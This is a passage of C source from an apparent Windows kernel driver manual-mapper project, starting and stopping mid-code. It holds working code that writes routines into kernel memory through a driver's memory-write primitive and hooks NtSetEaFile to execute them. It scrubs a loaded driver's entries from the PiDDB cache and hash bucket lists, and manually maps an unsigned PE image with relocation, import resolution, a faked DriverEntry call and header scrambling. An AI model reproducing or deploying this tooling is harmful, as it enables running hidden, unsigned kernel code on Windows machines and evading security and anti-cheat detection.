CiModule.ImageSize, 621 | HashBucketListPattern, 622 | HashBucketListMask); 623 | 624 | PVOID HashBucketLock = KiFindPattern( 625 | Driver, 626 | (PCHAR)HashBucketList - 50, 627 | 50, 628 | HashCacheLockPattern, 629 | HashCacheLockMask); 630 | 631 | if (PiDDBLock && PiDDBCacheTable && HashBucketList && HashBucketLock) { 632 | PiDDBLock = KiRelativeVirtualAddress(Driver, PiDDBLock, 3, 7); 633 | PiDDBCacheTable = KiRelativeVirtualAddress(Driver, PiDDBCacheTable, 3, 7); 634 | HashBucketList = KiRelativeVirtualAddress(Driver, HashBucketList, 3, 7); 635 | HashBucketLock = KiRelativeVirtualAddress(Driver, HashBucketLock, 3, 7); 636 | } 637 | 638 | if (PiDDBLock == 0 || PiDDBCacheTable == 0 || HashBucketList == 0 || HashBucketLock == 0) { 639 | Status = STATUS_INVALID_SIGNATURE; 640 | DEBUG_PRINT_NTSTATUS(Status); 641 | return Status; 642 | } 643 | 644 | // Create Context. 645 | RtlInitUnicodeString(&WorkerContext.DriverName, DriverName); 646 | WorkerContext.PiDDBLock = PiDDBLock; 647 | WorkerContext.PiDDBCacheTable = PiDDBCacheTable; 648 | WorkerContext.HashBucketList = HashBucketList; 649 | WorkerContext.HashBucketLock = HashBucketLock; 650 | 651 | Status = MiResolveImportTable(&WorkerContext.Table); 652 | if NT_ERROR (Status) { 653 | DEBUG_PRINT_NTSTATUS(Status); 654 | return Status; 655 | } 656 | 657 | WorkerSize = GetProcedureSize((PVOID)RemoveDriverRuntimeListWorker); 658 | Status = KiExAllocatePool2(Driver, WorkerSize, &WorkerRoutine); 659 | 660 | if NT_SUCCESS (Status) { 661 | Status = Driver->WriteMemory( 662 | Driver->DeviceHandle, 663 | WorkerRoutine, 664 | (PVOID)RemoveDriverRuntimeListWorker, 665 | WorkerSize); 666 | 667 | if NT_SUCCESS (Status) { 668 | Status = HookSystemRoutine(Driver, WorkerRoutine, Storage); 669 | if NT_SUCCESS (Status) { 670 | typedef NTSTATUS (*WorkerRoutine_t)(IN PVOID Context); 671 | WorkerRoutine_t Worker = (WorkerRoutine_t)NtSetEaFile; 672 | 673 | Status = Worker(&WorkerContext); 674 | DEBUG_PRINT_NTSTATUS(Status); 675 | 676 | UnhookSystemRoutine(Driver, Storage); 677 | } 678 | } 679 | 680 | KiExFreePool(Driver, WorkerRoutine); 681 | } 682 | 683 | return Status; 684 | } 685 | #endif 686 | -------------------------------------------------------------------------------- /UCMapper/mapper.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | 3 | #pragma warning( \ 4 | disable : 4152) // non standard extension, function/data ptr conversion in expression 5 | 6 | #pragma region code_running_on_system_address_space 7 | 8 | FORCEINLINE VOID 9 | InitSecurityCookie(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ PVOID ImageBase) 10 | { 11 | PIMAGE_LOAD_CONFIG_DIRECTORY ConfigDirectory; 12 | PVOID Buffer; 13 | ULONG LoadConfigSize; 14 | PULONGLONG SecurityCookie; 15 | ULONGLONG NewCookie; 16 | 17 | Buffer = StartContext->ImportTable.RtlImageDirectoryEntryToData( 18 | ImageBase, 19 | TRUE, 20 | IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG, 21 | &LoadConfigSize); 22 | ConfigDirectory = (PIMAGE_LOAD_CONFIG_DIRECTORY)Buffer; 23 | 24 | if (ConfigDirectory && ConfigDirectory->SecurityCookie) { 25 | SecurityCookie = (PULONGLONG)ConfigDirectory->SecurityCookie; 26 | NewCookie = (ULONGLONG)SecurityCookie; 27 | NewCookie ^= (ULONGLONG)ImageBase; 28 | 29 | if (*SecurityCookie == NewCookie) 30 | NewCookie += 1; 31 | 32 | /* If the result is 0 or the same as we got, just add one to the default value */ 33 | if ((NewCookie == 0) || (NewCookie == *SecurityCookie)) 34 | NewCookie = DEFAULT_SECURITY_COOKIE + 1; 35 | 36 | NewCookie &= 0x0000FFFFffffFFFFi64; 37 | *SecurityCookie = NewCookie; 38 | } 39 | } 40 | 41 | FORCEINLINE PIMAGE_BASE_RELOCATION LdrProcessRelocationBlockLongLong( 42 | _In_ ULONG_PTR VA, 43 | _In_ ULONG SizeOfBlock, 44 | _In_ PUSHORT NextOffset, 45 | _In_ LONGLONG Diff) 46 | { 47 | PUCHAR FixupVA; 48 | USHORT Offset; 49 | LONG Temp; 50 | ULONGLONG Value64; 51 | 52 | while (SizeOfBlock--) { 53 | Offset = *NextOffset & (USHORT)0xfff; 54 | FixupVA = (PUCHAR)(VA + Offset); 55 | 56 | // 57 | // Apply the fixups. 58 | // 59 | 60 | switch ((*NextOffset) >> 12) { 61 | case IMAGE_REL_BASED_HIGHLOW: 62 | // 63 | // HighLow - (32-bits) relocate the high and low half 64 | // of an address. 65 | // 66 | *(LONG UNALIGNED*)FixupVA += (ULONG)Diff; 67 | break; 68 | 69 | case IMAGE_REL_BASED_HIGH: 70 | // 71 | // High - (16-bits) relocate the high half of an address. 72 | // 73 | Temp = *(PUSHORT)FixupVA << 16; 74 | Temp += (ULONG)Diff; 75 | *(PUSHORT)FixupVA = (USHORT)(Temp >> 16); 76 | break; 77 | 78 | case IMAGE_REL_BASED_HIGHADJ: 79 | // 80 | // Adjust high - (16-bits) relocate the high half of an 81 | // address and adjust for sign extension of low half. 82 | // 83 | 84 | // 85 | // If the address has already been relocated then don't 86 | // process it again now or information will be lost. 87 | // 88 | if (Offset & LDRP_RELOCATION_FINAL) { 89 | ++NextOffset; 90 | --SizeOfBlock; 91 | break; 92 | } 93 | 94 | Temp = *(PUSHORT)FixupVA << 16; 95 | ++NextOffset; 96 | --SizeOfBlock; 97 | Temp += (LONG)(*(PSHORT)NextOffset); 98 | Temp += (ULONG)Diff; 99 | Temp += 0x8000; 100 | *(PUSHORT)FixupVA = (USHORT)(Temp >> 16); 101 | 102 | break; 103 | 104 | case IMAGE_REL_BASED_LOW: 105 | // 106 | // Low - (16-bit) relocate the low half of an address. 107 | // 108 | Temp = *(PSHORT)FixupVA; 109 | Temp += (ULONG)Diff; 110 | *(PUSHORT)FixupVA = (USHORT)Temp; 111 | break; 112 | 113 | case IMAGE_REL_BASED_IA64_IMM64: 114 | 115 | // 116 | // Align it to bundle address before fixing up the 117 | // 64-bit immediate value of the movl instruction. 118 | // 119 | 120 | FixupVA = (PUCHAR)((ULONG_PTR)FixupVA & ~(15)); 121 | Value64 = (ULONGLONG)0; 122 | 123 | // 124 | // Extract the lower 32 bits of IMM64 from bundle 125 | // 126 | 127 | break; 128 | 129 | case IMAGE_REL_BASED_DIR64: 130 | 131 | *(ULONGLONG UNALIGNED*)FixupVA += Diff; 132 | 133 | break; 134 | 135 | case IMAGE_REL_BASED_MIPS_JMPADDR: 136 | // 137 | // JumpAddress - (32-bits) relocate a MIPS jump address. 138 | // 139 | Temp = (*(PULONG)FixupVA & 0x3ffffff) << 2; 140 | Temp += (ULONG)Diff; 141 | *(PULONG)FixupVA = (*(PULONG)FixupVA & ~0x3ffffff) | ((Temp >> 2) & 0x3ffffff); 142 | 143 | break; 144 | 145 | case IMAGE_REL_BASED_ABSOLUTE: 146 | // 147 | // Absolute - no fixup required. 148 | // 149 | break; 150 | 151 | case IMAGE_REL_BASED_SECTION: 152 | // 153 | // Section Relative reloc. Ignore for now. 154 | // 155 | break; 156 | 157 | case IMAGE_REL_BASED_REL32: 158 | // 159 | // Relative intrasection. Ignore for now. 160 | // 161 | break; 162 | 163 | default: 164 | // 165 | // Illegal - illegal relocation type. 166 | // 167 | 168 | return (PIMAGE_BASE_RELOCATION)NULL; 169 | } 170 | ++NextOffset; 171 | } 172 | return (PIMAGE_BASE_RELOCATION)NextOffset; 173 | } 174 | 175 | FORCEINLINE PVOID 176 | LdrGetSystemModuleBaseA(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ LPCSTR ModuleName) 177 | { 178 | ANSI_STRING AnsiString; 179 | UNICODE_STRING UnicodeString; 180 | NTSTATUS Status; 181 | PKLDR_DATA_TABLE_ENTRY Destination; 182 | PKERNEL_IMPORT_TABLE ImportTable; 183 | PKLDR_DATA_TABLE_ENTRY Entry; 184 | PLIST_ENTRY Link; 185 | 186 | ImportTable = &StartContext->ImportTable; 187 | Destination = NULL; 188 | 189 | ImportTable->RtlInitAnsiString(&AnsiString, ModuleName); 190 | Status = ImportTable->RtlAnsiStringToUnicodeString(&UnicodeString, &AnsiString, TRUE); 191 | 192 | if NT_SUCCESS (Status) { 193 | for (Link = ImportTable->PsLoadedModuleList; Link != ImportTable->PsLoadedModuleList->Blink; 194 | Link = Link->Flink) { 195 | Entry = CONTAINING_RECORD(Link, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); 196 | 197 | if (ImportTable->RtlEqualUnicodeString(&Entry->BaseDllName, &UnicodeString, TRUE) 198 | || ImportTable->RtlEqualUnicodeString(&Entry->FullDllName, &UnicodeString, TRUE)) { 199 | Destination = Entry; 200 | break; 201 | } 202 | } 203 | 204 | ImportTable->RtlFreeUnicodeString(&UnicodeString); 205 | } 206 | 207 | return Destination; 208 | } 209 | 210 | FORCEINLINE PVOID 211 | LdrGetSystemRoutineAddressA(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ LPCSTR ModuleName) 212 | { 213 | PVOID Destination; 214 | UNICODE_STRING unicodeString; 215 | PKERNEL_IMPORT_TABLE ImportTable; 216 | NTSTATUS Status; 217 | ANSI_STRING AnsiString; 218 | 219 | ImportTable = &StartContext->ImportTable; 220 | Destination = 0; 221 | 222 | ImportTable->RtlInitAnsiString(&AnsiString, ModuleName); 223 | Status = ImportTable->RtlAnsiStringToUnicodeString(&unicodeString, &AnsiString, TRUE); 224 | 225 | if NT_SUCCESS (Status) { 226 | Destination = ImportTable->MmGetSystemRoutineAddress(&unicodeString); 227 | ImportTable->RtlFreeUnicodeString(&unicodeString); 228 | } 229 | return Destination; 230 | } 231 | 232 | FORCEINLINE NTSTATUS 233 | ResolveImageReferences(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ PCHAR ImageBase) 234 | { 235 | ULONG ImportDescriptorSize; 236 | PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor; 237 | PCHAR ModuleName; 238 | ULONG Count; 239 | PVOID ModuleBase; 240 | PIMAGE_THUNK_DATA NameThunk; 241 | PIMAGE_THUNK_DATA AddrThunk; 242 | PIMAGE_IMPORT_BY_NAME ImportNameTable; 243 | PCHAR ProcedureName; 244 | PVOID ProcedureAddress; 245 | PKERNEL_IMPORT_TABLE ImportTable; 246 | 247 | ImportTable = &StartContext->ImportTable; 248 | if (ImportTable->RtlImageNtHeader(ImageBase) == NULL) { 249 | return STATUS_INVALID_IMAGE_FORMAT; 250 | } 251 | 252 | ImportDescriptor = ImportTable->RtlImageDirectoryEntryToData( 253 | ImageBase, 254 | TRUE, 255 | IMAGE_DIRECTORY_ENTRY_IMPORT, 256 | &ImportDescriptorSize); 257 | 258 | // ============================ 259 | // No Import to be resolved. 260 | // ============================ 261 | if (!ImportDescriptor) { 262 | return STATUS_SUCCESS; 263 | } 264 | 265 | // Count the number of imports so we can allocate enough room to 266 | // store them all chained off this module's LDR_DATA_TABLE_ENTRY. 267 | // 268 | 269 | Count = 0; 270 | for (PIMAGE_IMPORT_DESCRIPTOR Imp = ImportDescriptor; Imp->Name && Imp->OriginalFirstThunk; 271 | Imp += 1) { 272 | Count += 1; 273 | } 274 | 275 | while (ImportDescriptor->Name && ImportDescriptor->OriginalFirstThunk) { 276 | ModuleName = ImageBase + ImportDescriptor->Name; 277 | ModuleBase = LdrGetSystemModuleBaseA(StartContext, ModuleName); 278 | 279 | if (ModuleBase == NULL) { 280 | return STATUS_NOT_SUPPORTED; 281 | } 282 | 283 | // 284 | // Walk through the IAT and snap all the thunks. 285 | // 286 | 287 | if (ImportDescriptor->OriginalFirstThunk) { 288 | NameThunk = (PIMAGE_THUNK_DATA)(ImageBase + ImportDescriptor->OriginalFirstThunk); 289 | AddrThunk = (PIMAGE_THUNK_DATA)(ImageBase + ImportDescriptor->FirstThunk); 290 | 291 | while (NameThunk->u1.AddressOfData) { 292 | if (IMAGE_SNAP_BY_ORDINAL(NameThunk->u1.Ordinal)) { 293 | ProcedureName = (PCHAR)IMAGE_ORDINAL(NameThunk->u1.Ordinal); 294 | } else { 295 | ImportNameTable 296 | = (PIMAGE_IMPORT_BY_NAME)(ImageBase + NameThunk->u1.AddressOfData); 297 | 298 | if (!ImportNameTable) 299 | return STATUS_PROCEDURE_NOT_FOUND; 300 | 301 | ProcedureName = ImportNameTable->Name; 302 | } 303 | 304 | // 305 | // First, try from LdrGetSystemRoutineAddressA for ntoskrnl and hal 306 | // if result null then try from RtlFindExportedRoutineByName by ModuleBase. 307 | // 308 | ProcedureAddress = LdrGetSystemRoutineAddressA(StartContext, ProcedureName); 309 | if (ProcedureAddress == NULL) 310 | ProcedureAddress 311 | = ImportTable->RtlFindExportedRoutineByName(ModuleBase, ProcedureName); 312 | 313 | if (ProcedureAddress == NULL) { 314 | return STATUS_PROCEDURE_NOT_FOUND; 315 | } 316 | 317 | AddrThunk->u1.Function = (ULONGLONG)ProcedureAddress; 318 | NameThunk += 1; 319 | AddrThunk += 1; 320 | } 321 | } 322 | 323 | ImportDescriptor += 1; 324 | } 325 | 326 | return STATUS_SUCCESS; 327 | } 328 | 329 | FORCEINLINE NTSTATUS RelocateImage(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext, _In_ PVOID ImageBase) 330 | { 331 | LONGLONG Diff; 332 | ULONG TotalCountBytes = 0; 333 | ULONG_PTR VA; 334 | ULONGLONG OldBase; 335 | ULONG SizeOfBlock; 336 | PUSHORT NextOffset = NULL; 337 | PIMAGE_NT_HEADERS NtHeaders; 338 | PIMAGE_BASE_RELOCATION NextBlock; 339 | NTSTATUS Status; 340 | 341 | NtHeaders = StartContext->ImportTable.RtlImageNtHeader(ImageBase); 342 | if (NtHeaders == NULL) { 343 | Status = STATUS_INVALID_IMAGE_FORMAT; 344 | goto Exit; 345 | } 346 | 347 | switch (NtHeaders->OptionalHeader.Magic) { 348 | case IMAGE_NT_OPTIONAL_HDR32_MAGIC: 349 | 350 | OldBase = ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase; 351 | break; 352 | 353 | case IMAGE_NT_OPTIONAL_HDR64_MAGIC: 354 | 355 | OldBase = ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase; 356 | break; 357 | 358 | default: 359 | 360 | Status = STATUS_INVALID_IMAGE_FORMAT; 361 | goto Exit; 362 | } 363 | 364 | // 365 | // Locate the relocation section. 366 | // 367 | 368 | NextBlock = StartContext->ImportTable.RtlImageDirectoryEntryToData( 369 | ImageBase, 370 | TRUE, 371 | IMAGE_DIRECTORY_ENTRY_BASERELOC, 372 | &TotalCountBytes); 373 | 374 | // 375 | // It is possible for a file to have no relocations, but the relocations 376 | // must not have been stripped. 377 | // 378 | 379 | if (!NextBlock || !TotalCountBytes) { 380 | Status = (NtHeaders->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) ? 381 | STATUS_CONFLICTING_ADDRESSES : 382 | STATUS_SUCCESS; 383 | goto Exit; 384 | } 385 | 386 | // 387 | // If the image has a relocation table, then apply the specified fixup 388 | // information to the image. 389 | // 390 | Diff = (ULONG_PTR)ImageBase - OldBase; 391 | while (TotalCountBytes) { 392 | SizeOfBlock = NextBlock->SizeOfBlock; 393 | 394 | // Prevent crash 395 | if (SizeOfBlock == 0) { 396 | Status = STATUS_INVALID_IMAGE_FORMAT; 397 | goto Exit; 398 | } 399 | 400 | TotalCountBytes -= SizeOfBlock; 401 | SizeOfBlock -= sizeof(IMAGE_BASE_RELOCATION); 402 | SizeOfBlock /= sizeof(USHORT); 403 | NextOffset = (PUSHORT)((PCHAR)NextBlock + sizeof(IMAGE_BASE_RELOCATION)); 404 | 405 | VA = (ULONG_PTR)ImageBase + NextBlock->VirtualAddress; 406 | NextBlock = LdrProcessRelocationBlockLongLong(VA, SizeOfBlock, NextOffset, Diff); 407 | 408 | if (!NextBlock) { 409 | Status = STATUS_INVALID_IMAGE_FORMAT; 410 | goto Exit; 411 | } 412 | } 413 | 414 | Status = STATUS_SUCCESS; 415 | Exit: 416 | return Status; 417 | } 418 | 419 | VOID MiUnloadSystemImage(_In_ PDRIVER_OBJECT DriverObject) 420 | { 421 | PMAPPER_EXECUTOR_CONTEXT SectionContext; 422 | PVOID DriverStart; 423 | ULONG DriverSize; 424 | ExFreePoolWithTag_t ExFreePool; 425 | PsTerminateSystemThread_t PsTerminate; 426 | PVOID DriverUnload; 427 | LARGE_INTEGER timeout; 428 | 429 | DriverStart = DriverObject->DriverStart; 430 | DriverSize = DriverObject->DriverSize; 431 | SectionContext = DriverObject->DriverSection; 432 | DriverUnload = DriverObject->DriverUnload; 433 | ExFreePool = SectionContext->ImportTable.ExFreePoolWithTag; 434 | PsTerminate = SectionContext->ImportTable.PsTerminateSystemThread; 435 | timeout.QuadPart = RELATIVE_TIME(SECONDS(2)); 436 | 437 | // Delay execution for 2 seconds so driver can exit perfectly. 438 | SectionContext->ImportTable.KeDelayExecutionThread(0, FALSE, &timeout); 439 | 440 | if (DriverStart && DriverSize) { 441 | SectionContext->ImportTable.MmFreePagesFromMdl(SectionContext->MemoryDescriptor); 442 | ExFreePool(SectionContext->MemoryDescriptor, 0); 443 | } 444 | 445 | ExFreePool(DriverObject, 0); 446 | ExFreePool(SectionContext, 0); 447 | 448 | // Release this executor allocation. 449 | ExFreePool(DriverUnload, 0); 450 | 451 | // since the allocation already released, should never be hitted. 452 | PsTerminate(STATUS_SUCCESS); 453 | return; 454 | } 455 | 456 | VOID MiLoadSystemImageWorker(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext) 457 | { 458 | PVOID ImageBase; 459 | PKERNEL_IMPORT_TABLE ImportTable; 460 | NTSTATUS status; 461 | PIMAGE_NT_HEADERS NtHeader; 462 | PDRIVER_INITIALIZE DriverEntry; 463 | PDRIVER_OBJECT DriverObject; 464 | PIMAGE_SECTION_HEADER ImageSection; 465 | USHORT NumberOfSection, i; 466 | PCHAR SectionStart; 467 | ULONG SectionSize; 468 | ULONG Characteristics; 469 | ULONG SectionProtection; 470 | ULONG HeaderSize; 471 | PVOID MdlHack; 472 | 473 | ImageBase = StartContext->MapSection; 474 | ImportTable = &StartContext->ImportTable; 475 | NtHeader = ImportTable->RtlImageNtHeader(ImageBase); 476 | 477 | // 478 | // Relocate Image 479 | // 480 | 481 | status = RelocateImage(StartContext, ImageBase); 482 | if NT_ERROR (status) { 483 | ImportTable->MmFreePagesFromMdl(StartContext->MemoryDescriptor); 484 | ImportTable->ExFreePoolWithTag(StartContext->MemoryDescriptor, 0); 485 | goto ExitPoint; 486 | } 487 | 488 | // 489 | // Resolve Image Reference. 490 | // 491 | 492 | status = ResolveImageReferences(StartContext, ImageBase); 493 | if NT_ERROR (status) { 494 | ImportTable->MmFreePagesFromMdl(StartContext->MemoryDescriptor); 495 | ImportTable->ExFreePoolWithTag(StartContext->MemoryDescriptor, 0); 496 | goto ExitPoint; 497 | } 498 | 499 | // 500 | // Init Security Cookie. 501 | // 502 | 503 | InitSecurityCookie(StartContext, ImageBase); 504 | 505 | // 506 | // Create Driver Object as params. 507 | // 508 | 509 | DriverObject = ImportTable->ExAllocatePool2( 510 | 0x0000000000000040UI64, 511 | sizeof(DRIVER_OBJECT), 512 | (ULONG)((ULONGLONG)ImageBase)); 513 | 514 | DriverObject->DriverStart = ImageBase; 515 | DriverObject->DriverSize = NtHeader->OptionalHeader.SizeOfImage; 516 | DriverObject->DriverSection = StartContext; 517 | DriverObject->DriverUnload = StartContext->Unloader; 518 | DriverObject->DriverInit 519 | = RtlOffsetToPointer(ImageBase, NtHeader->OptionalHeader.AddressOfEntryPoint); 520 | DriverEntry = (PDRIVER_INITIALIZE)DriverObject->DriverInit; 521 | 522 | // 523 | // Invoke DriverEntry. 524 | // 525 | 526 | status = DriverEntry(DriverObject, NULL); 527 | 528 | // 529 | // Post Mapping process. 530 | // 531 | 532 | if NT_SUCCESS (status) { 533 | ImageSection = IMAGE_FIRST_SECTION(NtHeader); 534 | HeaderSize = ImageSection->VirtualAddress; 535 | NumberOfSection = NtHeader->FileHeader.NumberOfSections; 536 | 537 | for (i = 0; i < NumberOfSection; i += 1) { 538 | Characteristics = ImageSection[i].Characteristics; 539 | SectionStart = RtlOffsetToPointer(ImageBase, ImageSection[i].VirtualAddress); 540 | SectionSize = ImageSection[i].Misc.VirtualSize; 541 | SectionProtection = 0; 542 | 543 | if (Characteristics & IMAGE_SCN_MEM_DISCARDABLE) { 544 | for (PULONG j = (PULONG)SectionStart; j < (PULONG)(SectionStart + SectionSize); 545 | j++) { 546 | *j ^= (ULONG)((ULONGLONG)SectionStart); 547 | } 548 | 549 | SectionProtection = PAGE_READONLY; 550 | } else if ( 551 | !(Characteristics & IMAGE_SCN_MEM_EXECUTE) 552 | && !(Characteristics & IMAGE_SCN_MEM_WRITE)) { 553 | SectionProtection = PAGE_READONLY; 554 | } else if ( 555 | (Characteristics & IMAGE_SCN_MEM_EXECUTE) 556 | && !(Characteristics & IMAGE_SCN_MEM_WRITE)) { 557 | SectionProtection = PAGE_EXECUTE_READ; 558 | } else if ((Characteristics & IMAGE_SCN_MEM_WRITE)) { 559 | SectionProtection = PAGE_READWRITE; 560 | } 561 | 562 | if (SectionProtection != 0) { 563 | //ImportTable->MmSetPageProtection(SectionStart, SectionSize, SectionProtection); 564 | 565 | MdlHack = ImportTable->IoAllocateMdl(SectionStart, SectionSize, FALSE, FALSE, NULL); 566 | if (MdlHack != NULL) { 567 | ImportTable->MmProtectMdlSystemAddress(MdlHack, SectionProtection); 568 | ImportTable->IoFreeMdl(MdlHack); 569 | } 570 | } 571 | } 572 | 573 | for (PULONG k = ImageBase; k < (PULONG)((PCHAR)ImageBase + HeaderSize); k++) { 574 | *k ^= (ULONG)((ULONGLONG)k); 575 | } 576 | 577 | MdlHack = ImportTable->IoAllocateMdl(ImageBase, HeaderSize, FALSE, FALSE, NULL); 578 | if (MdlHack != NULL) { 579 | ImportTable->MmProtectMdlSystemAddress(MdlHack, PAGE_READONLY); 580 | ImportTable->IoFreeMdl(MdlHack); 581 | } 582 | //ImportTable->MmSetPageProtection(ImageBase, HeaderSize, PAGE_READONLY); 583 | } 584 | 585 | if NT_ERROR (status) { 586 | ImportTable->MmFreePagesFromMdl(StartContext->MemoryDescriptor); 587 | ImportTable->ExFreePoolWithTag(StartContext->MemoryDescriptor, 0); 588 | ImportTable->ExFreePoolWithTag(DriverObject, 0); 589 | } 590 | 591 | ExitPoint: 592 | ImportTable->PsTerminateSystemThread(status); 593 | return; 594 | } 595 | 596 | NTSTATUS MiLoadSystemImage(_In_ PMAPPER_EXECUTOR_CONTEXT StartContext) 597 | { 598 | HANDLE threadHandle; 599 | NTSTATUS status; 600 | SIZE_T ContextSize; 601 | PKERNEL_IMPORT_TABLE ImportTable; 602 | PKSTART_ROUTINE WorkerThread; 603 | PVOID threadObject; 604 | PMAPPER_EXECUTOR_CONTEXT WorkerContext; 605 | PVOID MdlHack; 606 | PHYSICAL_ADDRESS LowestAddress; 607 | PHYSICAL_ADDRESS HighestAddress; 608 | PVOID ImageBase; 609 | SIZE_T ImageSize; 610 | PVOID MapSection; 611 | 612 | status = STATUS_UNSUCCESSFUL; 613 | ContextSize = sizeof(MAPPER_EXECUTOR_CONTEXT); 614 | 615 | // 616 | // Try to verify based on the context a bit. 617 | // 618 | 619 | if (StartContext == NULL || ((PCHAR)StartContext + ContextSize) <= (PCHAR)StartContext 620 | || StartContext->ContextSize != ContextSize) { 621 | status = STATUS_INVALID_PARAMETER; 622 | return status; 623 | } 624 | 625 | ImportTable = &StartContext->ImportTable; 626 | WorkerThread = StartContext->WorkerThread; 627 | StartContext->DriverStatus = STATUS_FAILED_DRIVER_ENTRY; 628 | 629 | // 630 | // Allocate memory for context in system address. 631 | // 632 | 633 | WorkerContext = ImportTable->ExAllocatePool2( 634 | 0x0000000000000040UI64, 635 | ContextSize, 636 | (ULONG)((ULONGLONG)StartContext->ImageBase)); 637 | if (WorkerContext == NULL) { 638 | status = STATUS_INSUFFICIENT_RESOURCES; 639 | return status; 640 | } 641 | 642 | // 643 | // Allocate Memory for mapping allocation from system ptes. 644 | // 645 | 646 | LowestAddress.QuadPart = 0; 647 | HighestAddress.QuadPart = MAXLONGLONG; 648 | ImageBase = StartContext->ImageBase; 649 | ImageSize = StartContext->ImageSize; 650 | 651 | MdlHack = ImportTable->MmAllocatePagesForMdlEx( 652 | LowestAddress, 653 | HighestAddress, 654 | LowestAddress, 655 | ImageSize, 656 | MmNonCached, 657 | 0x00000020); 658 | if (MdlHack == NULL) { 659 | ImportTable->ExFreePoolWithTag(WorkerContext, 0); 660 | status = STATUS_MEMORY_NOT_ALLOCATED; 661 | return status; 662 | } 663 | 664 | MapSection 665 | = ImportTable 666 | ->MmMapLockedPagesSpecifyCache(MdlHack, 0, MmCached, NULL, FALSE, HighPagePriority); 667 | if (MapSection == NULL) { 668 | ImportTable->MmFreePagesFromMdl(MdlHack); 669 | ImportTable->ExFreePoolWithTag(MdlHack, 0); 670 | ImportTable->ExFreePoolWithTag(WorkerContext, 0); 671 | 672 | status = STATUS_MEMORY_NOT_ALLOCATED; 673 | return status; 674 | } 675 | 676 | StartContext->MapSection = MapSection; 677 | StartContext->MemoryDescriptor = MdlHack; 678 | ImportTable->memcpy(MapSection, StartContext->ImageBase, ImageSize); 679 | ImportTable->memcpy(WorkerContext, StartContext, ContextSize); 680 | 681 | // 682 | // Create Worker Thread that run on system process context. 683 | // 684 | 685 | status = ImportTable->PsCreateSystemThread( 686 | &threadHandle, 687 | THREAD_ALL_ACCESS, 688 | NULL, 689 | NULL, 690 | NULL, 691 | WorkerThread, 692 | WorkerContext); 693 | if NT_SUCCESS (status) { 694 | status = ImportTable->ObReferenceObjectByHandle( 695 | threadHandle, 696 | THREAD_ALL_ACCESS, 697 | NULL, 698 | 0, 699 | &threadObject, 700 | NULL); 701 | if NT_SUCCESS (status) { 702 | status = ImportTable->KeWaitForSingleObject(threadObject, Executive, 0, FALSE, NULL); 703 | if NT_SUCCESS (status) 704 | StartContext->DriverStatus = ImportTable->PsGetThreadExitStatus(threadObject); 705 | 706 | ImportTable->ObfDereferenceObject(threadObject); 707 | } 708 | 709 | ImportTable->ZwClose(threadHandle); 710 | } 711 | 712 | if NT_ERROR (status) 713 | ImportTable->ExFreePoolWithTag(WorkerContext, 0); 714 | 715 | return status; 716 | } 717 | 718 | #pragma endregion code_running_on_system_address_space 719 | 720 | NTSTATUS MmLoadSystemImage(_In_ PDEVICE_DRIVER_OBJECT Driver, _In_ PVOID ImageBase) 721 | { 722 | typedef NTSTATUS (*PROTOTYPE_ROUTINE)(PVOID StartContex); 723 | 724 | SIZE_T procSize, procSize2, procSize3; 725 | ULONGLONG PoolExecutor; 726 | ULONGLONG PoolWorker; 727 | ULONGLONG PoolUnloader; 728 | NTSTATUS status; 729 | PROTOTYPE_ROUTINE MiLoadSystemImageRoutine; 730 | UCHAR Storage[12]; 731 | MAPPER_EXECUTOR_CONTEXT Context; 732 | 733 | status = STATUS_MEMORY_NOT_ALLOCATED; 734 | procSize = GetProcedureSize(MiLoadSystemImage); 735 | procSize2 = GetProcedureSize(MiLoadSystemImageWorker); 736 | procSize3 = GetProcedureSize(MiUnloadSystemImage); 737 | 738 | KiExAllocatePool2(Driver, procSize, &PoolExecutor); 739 | KiExAllocatePool2(Driver, procSize2, &PoolWorker); 740 | KiExAllocatePool2(Driver, procSize3, &PoolUnloader); 741 | 742 | MiLoadSystemImageRoutine = (PROTOTYPE_ROUTINE)NtSetEaFile; 743 | 744 | if (PoolExecutor != 0 && PoolWorker != 0 && PoolUnloader != 0) { 745 | // 746 | // write to allocation. 747 | // 748 | 749 | status 750 | = Driver->WriteMemory(Driver->DeviceHandle, PoolExecutor, MiLoadSystemImage, procSize); 751 | if NT_ERROR (status) { 752 | DEBUG_PRINT_NTSTATUS(status); 753 | KiExFreePool(Driver, PoolExecutor); 754 | KiExFreePool(Driver, PoolUnloader); 755 | KiExFreePool(Driver, PoolWorker); 756 | return status; 757 | } 758 | 759 | status = Driver->WriteMemory( 760 | Driver->DeviceHandle, 761 | PoolWorker, 762 | MiLoadSystemImageWorker, 763 | procSize2); 764 | 765 | if NT_ERROR (status) { 766 | DEBUG_PRINT_NTSTATUS(status); 767 | KiExFreePool(Driver, PoolExecutor); 768 | KiExFreePool(Driver, PoolUnloader); 769 | KiExFreePool(Driver, PoolWorker); 770 | return status; 771 | } 772 | 773 | status = Driver->WriteMemory( 774 | Driver->DeviceHandle, 775 | PoolUnloader, 776 | MiUnloadSystemImage, 777 | procSize3); 778 | 779 | if NT_ERROR (status) { 780 | DEBUG_PRINT_NTSTATUS(status); 781 | KiExFreePool(Driver, PoolExecutor); 782 | KiExFreePool(Driver, PoolUnloader); 783 | KiExFreePool(Driver, PoolWorker); 784 | return status; 785 | } 786 | 787 | // 788 | // Create Context. 789 | // 790 | 791 | Context.ContextSize = sizeof(MAPPER_EXECUTOR_CONTEXT); 792 | Context.DriverStatus = STATUS_UNSUCCESSFUL; 793 | Context.WorkerThread = (PKSTART_ROUTINE)PoolWorker; 794 | Context.ImageBase = ImageBase; 795 | Context.ImageSize = RtlImageNtHeader(ImageBase)->OptionalHeader.SizeOfImage; 796 | Context.MemoryDescriptor = 0; 797 | Context.MapSection = 0; 798 | Context.Unloader = (PVOID)PoolUnloader; 799 | 800 | status = MiResolveImportTable(&Context.ImportTable); 801 | if NT_ERROR (status) { 802 | KiExFreePool(Driver, PoolExecutor); 803 | KiExFreePool(Driver, 